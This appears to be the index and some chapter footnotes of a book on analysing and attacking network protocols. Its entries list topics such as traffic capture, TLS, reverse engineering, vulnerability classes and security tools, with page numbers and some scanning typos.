SHA-1, 133, 165-166
SHA-2, 165
SHA-3, 168

HEAD, 29

Header,, 4-5
C, 17,262
Ethernet, 6
HTTP, 24, 32-34



IP, 6
system call number, 260
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information columns in, 87
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HTTP (HyperText Transport Protocol), 3, 56
host header, 24
network protocol analysis, 8—10
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Internet Protocol Suite (IPS)
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32-bit, 24
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MAC:s. See message authentication codes (MACs)
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MethodInfo type (NET), 192
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network communication, 4
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man-in-the-middle attack on, 20
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network interface, 121-124
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network order, 42
newInstance() method (Java), 195
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NULL, 263-264
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endianness of data and, 41
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promiscuous mode, 12
proT_EXEC flag, 257

protocol data unit (PDU), 4
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protocols
analysis, 8-10, 105-106
binary, 38-49

changing behavior of, 108-109
checksum, 93-94
dates, 49-50
determining structure of, 88-89
fragmentation, 51-52
functions of, 2
multiplexing, 51-52
network address, 52-53
network connectivity and protocol testing
Hping, 282
Netcat, 282
Nmap, 282-283
parsing, 107-108
security, 145-178
structured binary formats, 53-54
tag, length, value (TLV) pattern, 50-51
text, 54-58
times, 49-50
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proxies
HTTP, 29-35
man-in-the-middle, 20
port-forwarding, 21-24
protocol analysis with, 105-106
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public key, 160-161, 165
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public key encryption. See asymmetric key cryptography
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loading library with, 197
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Request for Comments (RFCs), 42, 56-57
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rerouting traffic, 64-66
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RET instruction, 115
Ret2Libc, 269
RETN Instruction, 115
return-oriented programming (ROP), 268-270
reverse engineering
dynamic, 134-137
managed languages, 137-144
obfuscation, 143-144
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static, 125-134
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Hopper, 289-290
IDA Pro, 289
ILSpy, 290
Java Decompiler, 288
NET Reflector, 290-291
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RMI (Remote Method Invocation), 29
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ROP (return-oriented programming), 268-270
route print command (VVindows), 65
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padding, 155, 162
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SHA. See secure hashing algorithm (SHA)
Shamir, Adi, 160
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generating with Metasploit, 265-266
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system calls, 259
exit, 260-261
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writing, 255-266
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sign flag, 117
signature algorithms, 146, 164-169
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cryptographic hashing algorithms, 164-165
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Simple Mail Transport Protocol (SM'TP), 3-4, 56, 59
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sketches, 150

sniffing, 12-14, 73
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socket system call, 15

SOCKS proxy, 103. See also proxies
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SQL. See Structured Query Language (SQL)
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stack buffer underflow, 275-276



stack trace, 239-240
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Standard Generalized Markup Language (SGML), 58
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static reverse engineering, 125-134. See also reverse engineering
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identifying key functionality in, 129-134
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storage exhaustion attacks, 223-224
strace, 16
strcat string function, 212
strcpy string function, 212
strcpy_s string function, 212
stream ciphers, 158-159. See also block ciphers
strings, 42—46
analyzing, 132
ASCII standard, 42-44
Strip tool, 131
struct library (Python), 90
Structure class, 199
structured binary formats, 53-54
Structured Query Language (SQL)
injection, 228-229
Server, 229
structured text formats, 56-58
su instruction, 115
subroutine calling, 118-119
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substitution-permutation network, 152
Sulley, 287
SuperFunkyChat
analysis proxy
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simple network client, 184-186
simple server, 186-188
ChatClient, 81, 83-84, 106, 200
ChatServer, 80, 106
commands, 81
communicating between clients, 81
dissectors, 95-103
parser code for, 107
starting clients, 80-81
starting the server, 80
UDP mode, 97
switch device, 6
symbolic information, 129-131
symmetric key cryptography, 149. See also asymmetric key cryptography
block ciphers, 150-159
stream ciphers, 158-159
symmetric signature algorithms, 166
synchronize flag (SYN), 41
system API, 268
System assembly, 141
system calls
accept, 123
bind, 15
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exit, 260-261

open, 18
read, 15, 18, 122



recv, 15, 122-123

recvirom, 15

send, 15, 122-123

sendfrom, 15

shell code, 259-262

socket, 15

tracing, 14-19

Unix-like systems, 15-16, 122

write, 15, 18, 122, 261-263
system function, 228
System.Activator class (NET), 191
System.Reflection.Assembly class (NET), 190
System.Reflection.ConstructorInfo class (NET), 190
System.Reflection.FieldInfo class (NET), 190
System.Reflection.MethodInfo class (NET), 190
System.Reflection.PropertyInfo class (NET), 190
System.Type class (NET), 190
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tag, length, value (TLV) pattern, 50-51, 89, 94-95
TCP. See Transmission Control Protocol (T'CP)
TCPDump, 278-279

TCP/IP, 2, 9-10, 121, 262

TCP/IP Guide, 16

TepNetworkListener (ILSpy), 140

terminated data, 4748

terminated text, 56

TEST instruction, 115, 119

testy virtual buffer (T'VB), 99

text protocols, 54
Booleans, 55
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structured text formats, 56-58

times, 55

variable-length data, 55
text-encoding character replacement, 229-231
threads, 120-121
times, 49-50, 55
TLS. See Transport Layer Security (T'LS)
TLS Record protocol, 172
TLV (tag, length, value) pattern, 50-51, 89, 94-95
ToDataString() method, 186
token, 56
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for active network capture and analysis
Canape, 280-281
Canape Core, 281
Mallory, 281-282
fuzz testing
American Fuzzy Lop, 285-286
Kali Linux, 286
Metasploit, 286
Scapy, 286
Sulley, 286

network connectivity and protocol testing
Hping, 282
Netcat, 282
Nmap, 282-283

for network spoofing and redirection
DNSMasq, 287
Ettercap, 287-288

for passive network capture and analysis
LibPCAP, 278-279
Microsoft Message Analyzer, 278
TCPDump, 278-279



reverse engineering
Hopper, 289-290
IDA Pro, 289
ILSpy, 290
Java Decompiler, 288
NET Reflector, 290-291
for web application testing
Burp Suite, 283-284
Mitmproxy, 284-285
Zed Attack Proxy, 284
traceconnect.d file, 16
traceroute, 64—65
tracert (VVindows), 64-65
traffic
analysis using proxy, 103
capturing
active method, 20
HTTP, 29-35
man-in-the-middle, 20
passive method, 12-20
port-forwarding, 21-24
proxies, 20-35
SOCKS, 24-29
system call tracing, 14-19
capturing tools
Dtrace, 17-18
Netcat, 180-182
Process Monitor tool, 18-19
strace, 16
generating, 83—-84
outbound, 89
Transmission Control Protocol (TCP), 2-3, 21
bit flags, 41
client connection to server, 121-123



header, 5, 87
HTTP proxy, 30
packets, 87-88
port numbers, 5
port-forwarding proxy, 21-22, 201
reading contents of sessions, 85-86
reverse shell, 265-266
SOCKS proxy, 24-28
stream, 13-14
transport layer, 3, 6, 8-10
Transport Layer Security (TLS)
certificate pinning, 177
client certificate, 175
decryption, 201-202
encryption, 175-176, 200-201
endpoint authentication, 174-175
forcing TLS 1.2, 202
handshake, 172-173
initial negotiation, 173
perfect forward secrecy, 177
replacing certificate in, 202-206
security requirements, 176-177
TLS Record protocol, 172
trapdoor functions, 160
Triple DES, 151
true, 55
trusted root certification authorities, 204
Tshark, 180-182
TVB (testy virtual buffer), 99
Twofish, 152

two’s complement, 39
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UCS (Universal Character Set), 44-45
UDP. See User Datagram Protocol (UDP)
UI (user interface), 4
uname command, 263-264
Unicode
character encoding, 44-45
character mapping, 44-45
UCS-2/UTF-16, 45
UCS-4/UTF-32, 45
Unicode Transformation Format (UTF), 44-45
Unified Sniffing mode (Ettercap), 76
Uniform Request Identifier (URI), 30, 32
uninitialized data, 120
Universal Character Set (UCS), 44-45
Unix-like systems, 5
ASLR implementation flaws in, 272
AT&T syntax, 116
command injection, 228
command line utilities on, 31
configuring DNAT on, 70
Dtrace, 16
enabling routing on, 67
error codes, 262
executable format, 120
hosts file, 23
read and write calls, 122
routing tables on, 65
system calls, 15-16, 122
traceroute, 64
unk2 value, 93-95
unmanaged executables, 195-199
dynamic libraries, 195-196
unsafe keyword, 210



unsigned integers, 38
UPX, 134
URI (Uniform Request Identifier), 30, 32
User Datagram Protocol (UDP), 3
captured traffic, 182-183
dissectors, 98-99
payload and header, 5
port forwading, 21
socket, 122
user enumeration, 218-219
user interface (UI), 4
user mode, 14
user-after-free vulnerability, 249-250
UTF (Unicode Transformation Format), 4445
UTF-8, 45-46
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variable binary length data
implicit-length data, 48-49
length-prefixed data, 48
padded data, 49
terminated data, 47-48

variable-length buffer overflows, 211, 213-214
variable-length data, 56

variable-length integers, 39-40

verbose errors, 221-222

Verisign, 170

virtual function table, 242, 248-249

virtual hosts, 24

virtual machine, 137

VirtualAlloc, 250

Visual C++, 129



vulnerabilities

authentication checking, 226

classes
authentication bypass, 209
authorization bypass, 209-210
denial-of-service, 208
information disclosure, 209
remote code execution, 208

command injection, 228

CPU exhaustion attacks
algorithmic complexity, 224-225
configurable cryptography, 224-225

default or hardcoded credentials, 218

exploiting
arbitrary writing of memory, 253-254
defined memory pool allocations, 252-253
heap layout manipulation, 249-250
heap memory storage, 253
high-privileged file writes, 254-256
low-privileged file writes, 255
memory corruption, 245-253
user-after-free vulnerability, 249-250

format string, 227

fuzz testing, 234-236

incorrect resource access
canonicalization, 220-221
verbose errors, 221-222

memory corruption
buffer overflows, 210-215
data expansion attack, 217
dynamic memory allocation failures, 217
exploit mitigations, 267-268
memory-safe vs. memory-unsafe languages, 210
out-of-bounds buffer indexing, 216-217



memory exhaustion attacks, 222-223

shell code, 255-266

SQL injection, 228-229

storage exhaustion attacks, 223-224
text-encoding character replacement, 229-231
triaging, 236-245

user enumeration, 218-219
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W3C, 58

web application testing tools, 283-285
Burp Suite, 283-284
Mitmproxy, 284-285
Zed Attack Proxy, 284

web of trust (WO'T), 169

wget, 31

windll, 199

Windows
ASLR implementation flaws in, 272
calling functions with Python on, 199
certificate manager, 203
debug symbols, 129
debugger, 236-241, 244-245
dynamic link libraries, 196
enabling routing on, 67
FILETIME, 50
loading library on, 197
Page Heap, 244-245
registry, 67
Winsock library, 121
XP SP2, 270

WinDump, 278

WinPcap, 278



Winsock, 121
Wireshark, 12-14, 81, 279-280
basic analysis, 84-85
capture interfaces dialog, 8283
Conversations window, 84—85
dissectors, 95-103
generating network traffic in, 83-84
Hex Dump view, 86-95
main window, 82
reading contents of T'CP sessions in, 85-86
T'shark command line version, 180-182
WO'T (web of trust), 169
write system call, 15, 18, 122, 261-263
WriteData() fllnCtiOIl, 108
WritePackets() method, 22
ws2_32.dll Windows network library, 130-131
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X.509 certificates, 53-54, 169-171, 173
X.680 series, 53
x86 architecture, 42, 125
history, 114
Instruction mnemonics, 115
instruction set architecture, 114-116
mnemonic forms, 115
program flow, 118-119
registers, 116-118
xcalc, 228
XML Schema, 58
XOR encryption, 108-109, 148-149, 153-154
XOR Instruction, 115
XOR parameter, 108-109
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Zed Attack Proxy (ZAP), 284
zero flag, 117
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Footnotes

Chapter 2: Capturing Application Traffic

1. A proxy loop occurs when a proxy repeatedly connects to itself, causing a recursive loop. The
outcome can only end in disaster, or at least running out of available resources.

Chapter 3: Network Protocol Structures

1. Just ask those who have tried to parse HI'ML for errant script code how difficult that task can be
without a strict format.

Chapter 6: Application Reverse Engineering

1. Apple moved to the x86 architecture in 2006. Prior to that, Apple used the PowerPC architecture.
PCs, on the other hand, have always been based on x86 architecture.

2. This isn’t completely accurate: many network cards can perform some processing in hardware.
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